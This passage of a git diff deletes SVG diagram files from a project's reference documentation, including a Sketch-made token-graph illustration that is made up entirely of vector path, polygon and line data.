C155.22969,110.801438 155.255732,111.098313 155.307815,111.23373 C155.370315,111.369147 155.464065,111.478522 155.589065,111.561855 C155.724482,111.634772 155.91719,111.67123 156.16719,111.67123 C156.344273,111.67123 156.583857,111.650397 156.88594,111.60873 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-            </g>
-        </g>
-    </g>
-</svg>
\ No newline at end of file
diff --git a/docs/reference/images/analysis/token-graph-wdg.svg b/docs/reference/images/analysis/token-graph-wdg.svg
deleted file mode 100644
index 992637bd668..00000000000
--- a/docs/reference/images/analysis/token-graph-wdg.svg
+++ /dev/null
@@ -1,53 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<svg width="602px" height="123px" viewBox="0 0 602 123" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
-    <!-- Generator: Sketch 60.1 (88133) - https://sketch.com -->
-    <title>Slice 1</title>
-    <desc>Created with Sketch.</desc>
-    <g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">
-        <g id="Analysis-(2)" transform="translate(1.000000, 1.000000)">
-            <g id="Group">
-                <path d="M0.209972,1.39317 L0.209972,1.39317 C0.209972,0.6962172 0.774963,0.13123 1.471912,0.13123 L46.318115,0.13123 C46.6528013,0.13123 46.9737775,0.26418746 47.2104414,0.50084365 C47.4470975,0.73749984 47.580055,1.05848375 47.580055,1.39317 L47.580055,48.948025 C47.580055,49.6449855 47.0150602,50.2099726 46.318115,50.2099726 L1.471912,50.2099726 C0.774963,50.2099726 0.209972,49.6449854 0.209972,48.948025 L0.209972,1.39317 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M0.209972,1.39317 L0.209972,1.39317 C0.209972,0.6962172 0.774963,0.13123 1.471912,0.13123 L46.318115,0.13123 C46.6528013,0.13123 46.9737775,0.26418746 47.2104414,0.50084365 C47.4470975,0.73749984 47.580055,1.05848375 47.580055,1.39317 L47.580055,48.948025 C47.580055,49.6449855 47.0150602,50.2099726 46.318115,50.2099726 L1.471912,50.2099726 C0.774963,50.2099726 0.209972,49.6449854 0.209972,48.948025 L0.209972,1.39317 Z" id="Path" stroke="#979CAB" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M19.488403,25.49685 C19.488403,23.9239333 19.6498613,22.6583083 19.972778,21.699975 C20.2956947,20.731225 20.7748613,19.9864333 21.410278,19.4656 C22.0561113,18.9447667 22.863403,18.68435 23.832153,18.68435 C24.550903,18.68435 25.1811113,18.8301833 25.722778,19.12185 C26.2644447,19.4031 26.707153,19.8197667 27.050903,20.37185 C27.4050697,20.9135167 27.6811113,21.574975 27.879028,22.356225 C28.0873613,23.1270583 28.191528,24.1739333 28.191528,25.49685 C28.191528,27.0697667 28.0300697,28.3406025 27.707153,29.3093576 C27.3842363,30.2676909 26.8998613,31.0124826 26.254028,31.5437326 C25.6186113,32.0645659 24.8113197,32.3249826 23.832153,32.3249826 C22.550903,32.3249826 21.5404863,31.8614409 20.800903,30.9343576 C19.925903,29.8197743 19.488403,28.0072717 19.488403,25.49685 L19.488403,25.49685 Z M21.160278,25.49685 C21.160278,27.6947717 21.4154863,29.1583159 21.925903,29.8874826 C22.4467363,30.6062326 23.082153,30.9656076 23.832153,30.9656076 C24.5925697,30.9656076 25.2279863,30.6010243 25.738403,29.8718576 C26.2488197,29.1426909 26.504028,27.6843551 26.504028,25.49685 C26.504028,23.2989333 26.2488197,21.8406 25.738403,21.12185 C25.2279863,20.4031 24.5873613,20.043725 23.816528,20.043725 C23.066528,20.043725 22.4675697,20.3614333 22.019653,20.99685 C21.4467363,21.80935 21.160278,23.30935 21.160278,25.49685 L21.160278,25.49685 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <path d="M183.71559,4.1045 L183.71559,4.1045 C183.71559,2.5803148 184.951186,1.344719 186.475371,1.344719 L228.325896,1.344719 C229.05783,1.344719 229.759795,1.63547523 230.277342,2.1530381 C230.794921,2.67060097 231.085662,3.3725587 231.085662,4.1044999 L231.085662,48.6636799 C231.085662,50.1878651 229.850066,51.4234609 228.325896,51.4234609 L186.475371,51.4234609 C184.951186,51.4234609 183.71559,50.1878652 183.71559,48.6636799 L183.71559,4.1045 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M183.71559,4.1045 L183.71559,4.1045 C183.71559,2.5803148 184.951186,1.344719 186.475371,1.344719 L228.325896,1.344719 C229.05783,1.344719 229.759795,1.63547523 230.277342,2.1530381 C230.794921,2.67060097 231.085662,3.3725587 231.085662,4.1044999 L231.085662,48.6636799 C231.085662,50.1878651 229.850066,51.4234609 228.325896,51.4234609 L186.475371,51.4234609 C184.951186,51.4234609 183.71559,50.1878652 183.71559,48.6636799 L183.71559,4.1045 Z" id="Path" stroke="#979CAB" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M209.1659,33.3041 L207.525275,33.3041 L207.525275,22.850967 C207.129442,23.225967 206.608608,23.6061753 205.962775,23.991592 C205.327358,24.366592 204.754442,24.647842 204.244025,24.835342 L204.244025,23.241592 C205.160692,22.8145087 205.962775,22.2936753 206.650275,21.679092 C207.337775,21.0645087 207.82215,20.4707587 208.1034,19.897842 L209.1659,19.897842 L209.1659,33.3041 Z" id="Path" fill="#000000" fill-rule="nonzero"></path>
-                <polygon id="Path" fill="#FFFFFF" points="39.08891 16.85302 58.521977 16.85302 58.521977 38.679795 39.08891 38.679795"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="175.08891 16.85302 194.521985 16.85302 194.521985 38.679795 175.08891 38.679795"></polygon>
-                <line x1="194.52199" y1="27.7664" x2="47.56136" y2="28.2073485" id="Path" fill-opacity="0" fill="#000000"></line>
-                <line x1="176.52206" y1="27.82041" x2="47.56134" y2="28.20735" id="Path" stroke="#00BFB3" stroke-width="3" stroke-linejoin="round"></line>
-                <polygon id="Path" stroke="#00BFB3" stroke-width="3" fill="#00BFB3" points="176.53693 32.77559 190.136295 27.779565 176.507206 22.8652355"></polygon>
-                <path d="M367.71558,4.1045 L367.71558,4.1045 C367.71558,2.5803148 368.951206,1.344719 370.475376,1.344719 L412.325901,1.344719 C413.057835,1.344719 413.7598,1.63547523 414.277348,2.1530381 C414.794926,2.67060097 415.085667,3.3725587 415.085667,4.1044999 L415.085667,48.6636799 C415.085667,50.1878651 413.850071,51.4234609 412.325901,51.4234609 L370.475376,51.4234609 C368.951206,51.4234609 367.71558,50.1878652 367.71558,48.6636799 L367.71558,4.1045 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M367.71558,4.1045 L367.71558,4.1045 C367.71558,2.5803148 368.951206,1.344719 370.475376,1.344719 L412.325901,1.344719 C413.057835,1.344719 413.7598,1.63547523 414.277348,2.1530381 C414.794926,2.67060097 415.085667,3.3725587 415.085667,4.1044999 L415.085667,48.6636799 C415.085667,50.1878651 413.850071,51.4234609 412.325901,51.4234609 L370.475376,51.4234609 C368.951206,51.4234609 367.71558,50.1878652 367.71558,48.6636799 L367.71558,4.1045 Z" id="Path" stroke="#979CAB" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M395.6034,31.72597 L395.6034,33.304095 L386.775275,33.304095 C386.764858,32.9082617 386.827358,32.5280533 386.962775,32.16347 C387.191942,31.5593033 387.551317,30.9655533 388.0409,30.38222 C388.5409,29.7988867 389.25965,29.1270117 390.19715,28.366595 C391.645067,27.1790899 392.624233,26.2363791 393.13465,25.5384624 C393.645067,24.8405457 393.900275,24.1842957 393.900275,23.5697124 C393.900275,22.9134624 393.6659,22.3665874 393.19715,21.9290874 C392.738817,21.4811707 392.13465,21.2572124 391.38465,21.2572124 C390.592983,21.2572124 389.957567,21.4967957 389.4784,21.9759624 C389.00965,22.4447124 388.775275,23.0957541 388.775275,23.9290874 L387.087775,23.7572124 C387.202358,22.4967957 387.63465,21.5384624 388.38465,20.8822124 C389.145067,20.2259624 390.155483,19.8978374 391.4159,19.8978374 C392.69715,19.8978374 393.712775,20.2520041 394.462775,20.9603374 C395.212775,21.6686707 395.587775,22.5488791 395.587775,23.6009624 C395.587775,24.1322124 395.4784,24.6582541 395.25965,25.1790874 C395.0409,25.6999207 394.676317,26.2467957 394.1659,26.8197124 C393.6659,27.3822124 392.82215,28.1634649 391.63465,29.16347 C390.655483,29.9863867 390.025275,30.5488867 389.744025,30.85097 C389.462775,31.1426367 389.233608,31.4343033 389.056525,31.72597 L395.6034,31.72597 Z" id="Path" fill="#000000" fill-rule="nonzero"></path>
-                <polygon id="Path" fill="#FFFFFF" points="223.0889 16.85302 242.521975 16.85302 242.521975 38.679795 223.0889 38.679795"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="359.0889 16.85302 378.521975 16.85302 378.521975 38.679795 359.0889 38.679795"></polygon>
-                <line x1="378.52197" y1="27.7664" x2="231.56134" y2="28.2073485" id="Path" fill-opacity="0" fill="#000000"></line>
-                <line x1="360.52206" y1="27.82041" x2="231.56134" y2="28.20735" id="Path" stroke="#00BFB3" stroke-width="3" stroke-linejoin="round"></line>
-                <polygon id="Path" stroke="#00BFB3" stroke-width="3" fill="#00BFB3" points="360.53693 32.77559 374.136295 27.779565 360.507206 22.8652355"></polygon>
-                <path d="M551.7156,4.1045 L551.7156,4.1045 C551.7156,2.5803148 552.951196,1.344719 554.475366,1.344719 L596.325891,1.344719 C597.057824,1.344719 597.75979,1.63547523 598.277368,2.1530381 C598.794946,2.67060097 599.085717,3.3725587 599.085717,4.1044999 L599.085717,48.6636799 C599.085717,50.1878651 597.850122,51.4234609 596.325891,51.4234609 L554.475366,51.4234609 C552.951196,51.4234609 551.7156,50.1878652 551.7156,48.6636799 L551.7156,4.1045 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M551.7156,4.1045 L551.7156,4.1045 C551.7156,2.5803148 552.951196,1.344719 554.475366,1.344719 L596.325891,1.344719 C597.057824,1.344719 597.75979,1.63547523 598.277368,2.1530381 C598.794946,2.67060097 599.085717,3.3725587 599.085717,4.1044999 L599.085717,48.6636799 C599.085717,50.1878651 597.850122,51.4234609 596.325891,51.4234609 L554.475366,51.4234609 C552.951196,51.4234609 551.7156,50.1878652 551.7156,48.6636799 L551.7156,4.1045 Z" id="Path" stroke="#979CAB" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M570.994,29.77284 L572.634625,29.55409 C572.822125,30.49159 573.139833,31.163465 573.58775,31.569715 C574.046083,31.975965 574.598167,32.17909 575.244,32.17909 C576.014833,32.17909 576.665875,31.913465 577.197125,31.382215 C577.728375,30.850965 577.994,30.1895067 577.994,29.3978324 C577.994,28.64784 577.749208,28.0280458 577.259625,27.5384574 C576.770042,27.0488741 576.145042,26.8040824 575.384625,26.8040824 C575.072125,26.8040824 574.686708,26.8613741 574.228375,26.9759574 L574.415875,25.5384574 C574.520042,25.5488741 574.608583,25.5540824 574.6815,25.5540824 C575.379417,25.5540824 576.004417,25.3717907 576.5565,25.0072074 C577.119,24.6426241 577.40025,24.0853324 577.40025,23.3353324 C577.40025,22.7311657 577.197125,22.2311657 576.790875,21.8353324 C576.384625,21.4394991 575.858583,21.2415824 575.21275,21.2415824 C574.577333,21.2415824 574.046083,21.4447074 573.619,21.8509574 C573.191917,22.2467907 572.921083,22.8457491 572.8065,23.6478324 L571.165875,23.3509574 C571.363792,22.2572074 571.816917,21.4082491 572.52525,20.8040824 C573.233583,20.1999157 574.119,19.8978324 575.1815,19.8978324 C575.910667,19.8978324 576.577333,20.0540824 577.1815,20.3665824 C577.796083,20.6790824 578.264833,21.1061657 578.58775,21.6478324 C578.921083,22.1894991 579.08775,22.7624157 579.08775,23.3665824 C579.08775,23.9394991 578.9315,24.4655407 578.619,24.9447074 C578.3065,25.4134574 577.848167,25.7884574 577.244,26.0697074 C578.035667,26.2572074 578.65025,26.6374157 579.08775,27.2103324 C579.52525,27.7832541 579.744,28.5020067 579.744,29.36659 C579.744,30.52284 579.316917,31.507215 578.46275,32.319715 C577.619,33.132215 576.546083,33.538465 575.244,33.538465 C574.066917,33.538465 573.092958,33.1895067 572.322125,32.49159 C571.551292,31.7936733 571.108583,30.8874233 570.994,29.77284 Z" id="Path" fill="#000000" fill-rule="nonzero"></path>
-                <polygon id="Path" fill="#FFFFFF" points="407.0889 16.85302 426.521975 16.85302 426.521975 38.679795 407.0889 38.679795"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="543.0889 16.85302 562.521944 16.85302 562.521944 38.679795 543.0889 38.679795"></polygon>
-                <line x1="562.522" y1="27.7664" x2="415.56137" y2="28.2073485" id="Path" fill-opacity="0" fill="#000000"></line>
-                <line x1="544.52203" y1="27.82041" x2="415.56133" y2="28.20735" id="Path" stroke="#00BFB3" stroke-width="3" stroke-linejoin="round"></line>
-                <polygon id="Path" stroke="#00BFB3" stroke-width="3" fill="#00BFB3" points="544.5369 32.77559 558.136265 27.779565 544.507176 22.8652355"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="15.088913 39.14516 34.52198 39.14516 34.52198 60.971927 15.088913 60.971927"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="199.08891 39.14516 218.52197 39.14516 218.52197 60.971927 199.08891 60.971927"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="73.96063 10.47244 152.35432 10.47244 152.35432 41.842511 73.96063 41.842511"></polygon>
-                <path d="M84.39813,33.07748 L84.39813,19.718097 L89.445005,19.718097 C90.3304217,19.718097 91.007505,19.7597637 91.476255,19.843097 C92.1220883,19.9576803 92.6689633,20.171222 93.11688,20.483722 C93.5647967,20.7858053 93.9241717,21.2128887 94.195005,21.764972 C94.4658383,22.3170553 94.601255,22.9264303 94.601255,23.593097 C94.601255,24.7285137 94.2366717,25.6920553 93.507505,26.483722 C92.788755,27.264972 91.4814633,27.655597 89.58563,27.655597 L86.163755,27.655597 L86.163755,33.07748 L84.39813,33.07748 L84.39813,33.07748 Z M86.163755,26.0774724 L89.61688,26.0774724 C90.7627133,26.0774724 91.5752133,25.8639307 92.05438,25.4368474 C92.5335467,25.0097641 92.77313,24.4108057 92.77313,23.6399724 C92.77313,23.0774724 92.632505,22.5983057 92.351255,22.2024724 C92.070005,21.8066391 91.695005,21.5462224 91.226255,21.4212224 C90.9345883,21.3378891 90.3877133,21.2962224 89.58563,21.2962224 L86.163755,21.2962224 L86.163755,26.0774724 L86.163755,26.0774724 Z M96.029203,28.23373 C96.029203,26.4420583 96.5239947,25.1191391 97.513578,24.2649724 C98.3469113,23.5462224 99.3625363,23.1868474 100.560453,23.1868474 C101.893786,23.1868474 102.982328,23.6243474 103.826078,24.4993474 C104.669828,25.3639307 105.091703,26.5670583 105.091703,28.10873 C105.091703,29.3483133 104.904203,30.32748 104.529203,31.04623 C104.154203,31.7545633 103.607328,32.3066467 102.888578,32.70248 C102.180245,33.0983133 101.404203,33.29623 100.560453,33.29623 C99.2062863,33.29623 98.1125363,32.8639383 97.279203,31.999355 C96.4458697,31.124355 96.029203,29.8691467 96.029203,28.23373 Z M97.716703,28.23373 C97.716703,29.4733133 97.982328,30.405605 98.513578,31.030605 C99.0552447,31.6451883 99.7375363,31.95248 100.560453,31.95248 C101.372953,31.95248 102.050036,31.6451883 102.591703,31.030605 C103.13337,30.405605 103.404203,29.4576883 103.404203,28.186855 C103.404203,26.9889333 103.13337,26.0826807 102.591703,25.4680974 C102.050036,24.8535141 101.372953,24.5462224 100.560453,24.5462224 C99.7375363,24.5462224 99.0552447,24.8535141 98.513578,25.4680974 C97.982328,26.0722641 97.716703,26.9941416 97.716703,28.23373 Z M108.795545,33.07748 L105.826795,23.405597 L107.52992,23.405597 L109.06117,28.9837296 L109.639295,31.0618546 C109.670545,30.9576879 109.837212,30.2910213 110.139295,29.0618546 L111.68617,23.405597 L113.37367,23.405597 L114.81117,29.0149796 L115.295545,30.8587296 L115.858045,28.9993546 L117.514295,23.405597 L119.108045,23.405597 L116.076795,33.07748 L114.37367,33.07748 L112.84242,27.2805974 L112.46742,25.6399724 L110.514295,33.07748 L108.795545,33.07748 Z M127.112241,29.968105 L128.799741,30.17123 C128.528908,31.1608133 128.034116,31.9316467 127.315366,32.48373 C126.596616,33.0253967 125.674741,33.29623 124.549741,33.29623 C123.133074,33.29623 122.008074,32.8639383 121.174741,31.999355 C120.351824,31.124355 119.940366,29.9003967 119.940366,28.32748 C119.940366,26.6920583 120.357033,25.4264307 121.190366,24.5305974 C122.034116,23.6347641 123.122658,23.1868474 124.455991,23.1868474 C125.747658,23.1868474 126.799741,23.6295557 127.612241,24.5149724 C128.435158,25.3899724 128.846616,26.6243499 128.846616,28.218105 C128.846616,28.3222717 128.846616,28.468105 128.846616,28.655605 L121.627866,28.655605 C121.690366,29.718105 121.992449,30.5358133 122.534116,31.10873 C123.075783,31.67123 123.747658,31.95248 124.549741,31.95248 C125.153908,31.95248 125.669533,31.79623 126.096616,31.48373 C126.523699,31.1608133 126.862241,30.655605 127.112241,29.968105 Z M121.721616,27.3118474 L127.127866,27.3118474 C127.054949,26.4993474 126.846616,25.8899724 126.502866,25.4837224 C125.982033,24.8483057 125.304949,24.5305974 124.471616,24.5305974 C123.721616,24.5305974 123.086199,24.7858057 122.565366,25.2962224 C122.054949,25.7962224 121.773699,26.4680974 121.721616,27.3118474 Z M130.847333,33.07748 L130.847333,23.405597 L132.316083,23.405597 L132.316083,24.874347 C132.691083,24.186847 133.034833,23.733722 133.347333,23.514972 C133.67025,23.296222 134.024416,23.186847 134.409833,23.186847 C134.961916,23.186847 135.524416,23.3639303 136.097333,23.718097 L135.534833,25.233722 C135.128583,24.9941387 134.727541,24.874347 134.331708,24.874347 C133.967125,24.874347 133.644208,24.983722 133.362958,25.202472 C133.081708,25.421222 132.878583,25.718097 132.753583,26.093097 C132.566083,26.6764303 132.472333,27.3170579 132.472333,28.0149796 L132.472333,33.07748 L130.847333,33.07748 L130.847333,33.07748 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <polygon id="Path" fill="#FFFFFF" points="265.96063 10.47244 332.38583 10.47244 332.38583 41.842511 265.96063 41.842511"></polygon>
-                <path d="M280.82782,28.78061 L282.48407,28.639985 C282.567403,29.3066517 282.749695,29.8535267 283.030945,30.28061 C283.322612,30.7076933 283.770528,31.0566517 284.374695,31.327485 C284.989278,31.5879017 285.676778,31.71811 286.437195,31.71811 C287.103862,31.71811 287.697612,31.6191517 288.218445,31.421235 C288.739278,31.2233183 289.124695,30.952485 289.374695,30.608735 C289.624695,30.2545683 289.749695,29.8691517 289.749695,29.452485 C289.749695,29.0358183 289.624695,28.671235 289.374695,28.358735 C289.135112,28.0462299 288.739278,27.7806024 288.187195,27.5618524 C287.822612,27.4264357 287.025737,27.2128941 285.79657,26.9212274 C284.57782,26.6191441 283.723653,26.3378941 283.23407,26.0774774 C282.588237,25.7441441 282.10907,25.3326857 281.79657,24.8431024 C281.48407,24.3431024 281.32782,23.7858107 281.32782,23.1712274 C281.32782,22.5045607 281.520528,21.8795607 281.905945,21.2962274 C282.291362,20.7024774 282.848653,20.2545607 283.57782,19.9524774 C284.317403,19.6503941 285.135112,19.4993524 286.030945,19.4993524 C287.020528,19.4993524 287.89032,19.6608107 288.64032,19.9837274 C289.400737,20.2962274 289.98407,20.7649774 290.39032,21.3899774 C290.79657,22.0045607 291.01532,22.7024774 291.04657,23.4837274 L289.35907,23.6087274 C289.26532,22.7649774 288.95282,22.1295607 288.42157,21.7024774 C287.900737,21.2649774 287.129903,21.0462274 286.10907,21.0462274 C285.036153,21.0462274 284.254903,21.2441441 283.76532,21.6399774 C283.275737,22.0358107 283.030945,22.5097691 283.030945,23.0618524 C283.030945,23.5410191 283.208028,23.9316441 283.562195,24.2337274 C283.895528,24.5462274 284.780945,24.8691441 286.218445,25.2024774 C287.655945,25.5253941 288.64032,25.8066441 289.17157,26.0462274 C289.95282,26.4003941 290.525737,26.8535191 290.89032,27.4056024 C291.26532,27.9576908 291.45282,28.59311 291.45282,29.31186 C291.45282,30.0201933 291.249695,30.6920683 290.843445,31.327485 C290.437195,31.952485 289.853862,32.4420683 289.093445,32.796235 C288.333028,33.139985 287.473653,33.31186 286.51532,33.31186 C285.306987,33.31186 284.291362,33.1347767 283.468445,32.78061 C282.655945,32.4264433 282.01532,31.8951933 281.54657,31.18686 C281.088237,30.4785267 280.848653,29.6764433 280.82782,28.78061 Z M293.662018,33.077485 L293.662018,19.718102 L295.302643,19.718102 L295.302643,24.514977 C296.06306,23.6295603 297.026601,23.186852 298.193268,23.186852 C298.912018,23.186852 299.53181,23.327477 300.052643,23.608727 C300.583893,23.889977 300.964101,24.280602 301.193268,24.780602 C301.422435,25.280602 301.537018,26.0045603 301.537018,26.952477 L301.537018,33.077485 L299.896393,33.077485 L299.896393,26.952477 C299.896393,26.1295603 299.71931,25.530602 299.365143,25.155602 C299.010976,24.780602 298.505768,24.593102 297.849518,24.593102 C297.370351,24.593102 296.917226,24.7233103 296.490143,24.983727 C296.06306,25.233727 295.755768,25.5722687 295.568268,25.999352 C295.391185,26.4264353 295.302643,27.0201853 295.302643,27.780602 L295.302643,33.077485 L293.662018,33.077485 L293.662018,33.077485 Z M303.428375,28.233735 C303.428375,26.4420633 303.923167,25.1191441 304.91275,24.2649774 C305.746083,23.5462274 306.761708,23.1868524 307.959625,23.1868524 C309.292958,23.1868524 310.3815,23.6243524 311.22525,24.4993524 C312.069,25.3639357 312.490875,26.5670633 312.490875,28.108735 C312.490875,29.3483183 312.303375,30.327485 311.928375,31.046235 C311.553375,31.7545683 311.0065,32.3066517 310.28775,32.702485 C309.579417,33.0983183 308.803375,33.296235 307.959625,33.296235 C306.605458,33.296235 305.511708,32.8639433 304.678375,31.99936 C303.845042,31.12436 303.428375,29.8691517 303.428375,28.233735 Z M305.115875,28.233735 C305.115875,29.4733183 305.3815,30.40561 305.91275,31.03061 C306.454417,31.6451933 307.136708,31.952485 307.959625,31.952485 C308.772125,31.952485 309.449208,31.6451933 309.990875,31.03061 C310.532542,30.40561 310.803375,29.4576933 310.803375,28.18686 C310.803375,26.9889383 310.532542,26.0826857 309.990875,25.4681024 C309.449208,24.8535191 308.772125,24.5462274 307.959625,24.5462274 C307.136708,24.5462274 306.454417,24.8535191 305.91275,25.4681024 C305.3815,26.0722691 305.115875,26.9941466 305.115875,28.233735 Z M317.991577,31.608735 L318.225952,33.06186 C317.767619,33.15561 317.35616,33.202485 316.991577,33.202485 C316.397827,33.202485 315.934285,33.108735 315.600952,32.921235 C315.278035,32.733735 315.048869,32.4889433 314.913452,32.18686 C314.778035,31.87436 314.710327,31.2285267 314.710327,30.24936 L314.710327,24.6712274 L313.507202,24.6712274 L313.507202,23.4056024 L314.710327,23.4056024 L314.710327,21.0149774 L316.335327,20.0306024 L316.335327,23.4056024 L317.991577,23.4056024 L317.991577,24.6712274 L316.335327,24.6712274 L316.335327,30.34311 C316.335327,30.8014433 316.361369,31.0983183 316.413452,31.233735 C316.475952,31.3691517 316.569702,31.4785267 316.694702,31.56186 C316.830119,31.6347767 317.022827,31.671235 317.272827,31.671235 C317.44991,31.671235 317.689494,31.6504017 317.991577,31.608735 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <polygon id="Path" fill="#FFFFFF" points="447.53366 10.47244 518.43127 10.47244 518.43127 41.842511 447.53366 41.842511"></polygon>
-                <path d="M471.62164,31.49936 L471.62164,33.077485 L462.793545,33.077485 C462.783129,32.6816517 462.845629,32.3014433 462.981045,31.93686 C463.210212,31.3326933 463.569587,30.7389433 464.05917,30.15561 C464.55917,29.5722767 465.27792,28.9004017 466.21542,28.139985 C467.663337,26.9524799 468.642504,26.0097691 469.15292,25.3118524 C469.663337,24.6139357 469.918545,23.9576857 469.918545,23.3431024 C469.918545,22.6868524 469.68417,22.1399774 469.21542,21.7024774 C468.757087,21.2545607 468.15292,21.0306024 467.40292,21.0306024 C466.611254,21.0306024 465.975837,21.2701857 465.49667,21.7493524 C465.02792,22.2181024 464.793545,22.8691441 464.793545,23.7024774 L463.106045,23.5306024 C463.220629,22.2701857 463.65292,21.3118524 464.40292,20.6556024 C465.163337,19.9993524 466.173754,19.6712274 467.43417,19.6712274 C468.71542,19.6712274 469.731045,20.0253941 470.481045,20.7337274 C471.231025,21.4420607 471.606015,22.3222691 471.606015,23.3743524 C471.606015,23.9056024 471.49664,24.4316441 471.27789,24.9524774 C471.05916,25.4733107 470.694587,26.0201857 470.18417,26.5931024 C469.68417,27.1556024 468.84042,27.9368549 467.65292,28.93686 C466.673754,29.7597767 466.043545,30.3222767 465.762295,30.62436 C465.481045,30.9160267 465.251879,31.2076933 465.074795,31.49936 L471.62164,31.49936 Z M473.387997,26.4837274 C473.387997,24.9108107 473.549456,23.6451857 473.872372,22.6868524 C474.195289,21.7181024 474.674456,20.9733107 475.309872,20.4524774 C475.955706,19.9316441 476.762997,19.6712274 477.731747,19.6712274 C478.450497,19.6712274 479.080706,19.8170607 479.622372,20.1087274 C480.164039,20.3899774 480.606747,20.8066441 480.950497,21.3587274 C481.304664,21.9003941 481.580706,22.5618524 481.778622,23.3431024 C481.986956,24.1139357 482.091122,25.1608107 482.091122,26.4837274 C482.091122,28.0566491 481.929664,29.327485 481.606747,30.296235 C481.283831,31.2545683 480.799456,31.99936 480.153622,32.53061 C479.518206,33.0514433 478.710914,33.31186 477.731747,33.31186 C476.450497,33.31186 475.440081,32.8483183 474.700497,31.921235 C473.825497,30.8066517 473.387997,28.9941491 473.387997,26.4837274 Z M475.059872,26.4837274 C475.059872,28.6816491 475.315081,30.1451933 475.825497,30.87436 C476.346331,31.59311 476.981747,31.952485 477.731747,31.952485 C478.492164,31.952485 479.127581,31.5879017 479.637997,30.858735 C480.148414,30.1295683 480.403622,28.6712325 480.403622,26.4837274 C480.403622,24.2858107 480.148414,22.8274774 479.637997,22.1087274 C479.127581,21.3899774 478.486956,21.0306024 477.716122,21.0306024 C476.966122,21.0306024 476.367164,21.3483107 475.919247,21.9837274 C475.346331,22.7962274 475.059872,24.2962274 475.059872,26.4837274 Z M483.763729,26.4837274 C483.763729,24.9108107 483.925188,23.6451857 484.248104,22.6868524 C484.571021,21.7181024 485.050188,20.9733107 485.685604,20.4524774 C486.331438,19.9316441 487.138729,19.6712274 488.107479,19.6712274 C488.826229,19.6712274 489.456438,19.8170607 489.998104,20.1087274 C490.539771,20.3899774 490.982479,20.8066441 491.326229,21.3587274 C491.680396,21.9003941 491.956438,22.5618524 492.154354,23.3431024 C492.362688,24.1139357 492.466854,25.1608107 492.466854,26.4837274 C492.466854,28.0566491 492.305396,29.327485 491.982479,30.296235 C491.659563,31.2545683 491.175188,31.99936 490.529354,32.53061 C489.893938,33.0514433 489.086646,33.31186 488.107479,33.31186 C486.826229,33.31186 485.815813,32.8483183 485.076229,31.921235 C484.201229,30.8066517 483.763729,28.9941491 483.763729,26.4837274 Z M485.435604,26.4837274 C485.435604,28.6816491 485.690813,30.1451933 486.201229,30.87436 C486.722063,31.59311 487.357479,31.952485 488.107479,31.952485 C488.867896,31.952485 489.503313,31.5879017 490.013729,30.858735 C490.524146,30.1295683 490.779354,28.6712325 490.779354,26.4837274 C490.779354,24.2858107 490.524146,22.8274774 490.013729,22.1087274 C489.503313,21.3899774 488.862688,21.0306024 488.091854,21.0306024 C487.341854,21.0306024 486.742896,21.3483107 486.294979,21.9837274 C485.722063,22.7962274 485.435604,24.2962274 485.435604,26.4837274 Z M494.139461,26.4837274 C494.139461,24.9108107 494.30092,23.6451857 494.623836,22.6868524 C494.946753,21.7181024 495.42592,20.9733107 496.061336,20.4524774 C496.70717,19.9316441 497.514461,19.6712274 498.483211,19.6712274 C499.201961,19.6712274 499.83217,19.8170607 500.373836,20.1087274 C500.915503,20.3899774 501.358211,20.8066441 501.701961,21.3587274 C502.056128,21.9003941 502.33217,22.5618524 502.530086,23.3431024 C502.73842,24.1139357 502.842586,25.1608107 502.842586,26.4837274 C502.842586,28.0566491 502.681128,29.327485 502.358211,30.296235 C502.035295,31.2545683 501.55092,31.99936 500.905086,32.53061 C500.26967,33.0514433 499.462378,33.31186 498.483211,33.31186 C497.201961,33.31186 496.191545,32.8483183 495.451961,31.921235 C494.576961,30.8066517 494.139461,28.9941491 494.139461,26.4837274 Z M495.811336,26.4837274 C495.811336,28.6816491 496.066545,30.1451933 496.576961,30.87436 C497.097795,31.59311 497.733211,31.952485 498.483211,31.952485 C499.243628,31.952485 499.879045,31.5879017 500.389461,30.858735 C500.899878,30.1295683 501.155086,28.6712325 501.155086,26.4837274 C501.155086,24.2858107 500.899878,22.8274774 500.389461,22.1087274 C499.879045,21.3899774 499.23842,21.0306024 498.467586,21.0306024 C497.717586,21.0306024 497.118628,21.3483107 496.670711,21.9837274 C496.097795,22.7962274 495.811336,24.2962274 495.811336,26.4837274 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <polygon id="Path" fill="#FFFFFF" points="380.66196 40.35864 400.095035 40.35864 400.095035 62.185407 380.66196 62.185407"></polygon>
-                <polyline id="Path" fill-opacity="0" fill="#000000" points="390.37848 40.35864 390.37848 106.29133 24.80368 106.29133 24.80368 39.13029"></polyline>
-                <polyline id="Path" stroke="#00BFB3" stroke-width="3" stroke-linejoin="round" points="390.37848 58.35864 390.37848 106.291333 24.80368 106.291333 24.80368 39.130293"></polyline>
-                <polygon id="Path" stroke="#00BFB3" stroke-width="3" fill="#00BFB3" points="395.33368 58.35864 390.37848 44.744336 385.42328 58.35864"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="149.10759 90.47244 266.14697 90.47244 266.14697 121.842511 149.10759 121.842511"></polygon>
